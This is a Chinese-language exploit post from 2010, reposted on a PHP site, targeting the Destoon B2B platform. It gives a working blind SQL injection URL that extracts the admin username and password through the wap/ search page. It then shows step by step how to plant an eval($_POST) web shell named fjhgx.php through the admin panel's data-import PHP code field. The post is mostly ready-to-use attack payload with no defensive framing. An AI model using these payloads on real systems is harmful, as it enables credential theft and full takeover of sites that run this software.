文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>Destoon B2B SQL注射 & 后台代码执行漏洞

Destoon B2B SQL注射 & 后台代码执行漏洞

时间:2010-11-11  来源:fjhgx

发布日期:2010-11.11
发布作者:fjhgx

影响版本:未知
官方地址:http://www.destoon.com

漏洞类型:SQL注入
漏洞描述:SQL注射,位于搜索页面,使用了urldecode函数,导致两次编码即可绕过。但是过滤了空格等字符,使用%09继续突破,再次被堵住在长度问题上,有好多个地方都验证了查询的关键词的长度,好的是 wap/ 目录没有验证。
By:俺是农村的
 

 

EXP:

http://localhost/destoon/wap/index.php?moduleid=5&kw=a%2525%2527%09and%09ascii(substring((SELECT%09username | password%09FROM%09destoon_member%09WHERE%09userid=1),1,1))=0x61%23

 

后台获取Shell:

数据导入 —> 操作下面的“修改” —> 在最下面的“PHP处理代码” PHP代码里自己写代码。
因为前面有一些信息要填写,所以我之前论坛有人问后台怎么拿shell的时候我回答是:
本地mysql开启外联。(保证信息正确,这句话我没说 - -!)

代码例如:

$File = "fjhgx.php";   

 

$fh = fopen($File, 'w') or die("不能打开文件,By:俺是农村的。");   

 

$CString = "eval (\$_POST[fjhgx]);\r\necho \"GMail:[email protected]\";";   

 

fwrite($fh, $CString);   

 

fclose($fh);   

点击保存。

此时PHP代码,写入到D:\www\destoon\file\data\ + 配置名称 + .inc.php
因为写文件的时候让会自动在头部加上
 

<?php defined('IN_DESTOON') or exit('Access Denied');  

所以直接访问是无效的。解决方法如下:

然后访问:
http://127.0.0.1/destoon/admin.php?file=data&action=view&name=phpwind7.5_member(phpwind7.5_member是配置名称)
会自动调用 配置名称 + .inc.php 这个文件,也就生成了小马

fjhgx.php,密码:fjhgx

Thanks for T-ice && 2010-11-11 11:11:11这个特别的日子。

 

标签分类:

相关阅读 更多 +
排行榜 更多 +
幸存者的命运

幸存者的命运

飞行射击 下载
精英战区3d

精英战区3d

飞行射击 下载
货运猎人

货运猎人

飞行射击 下载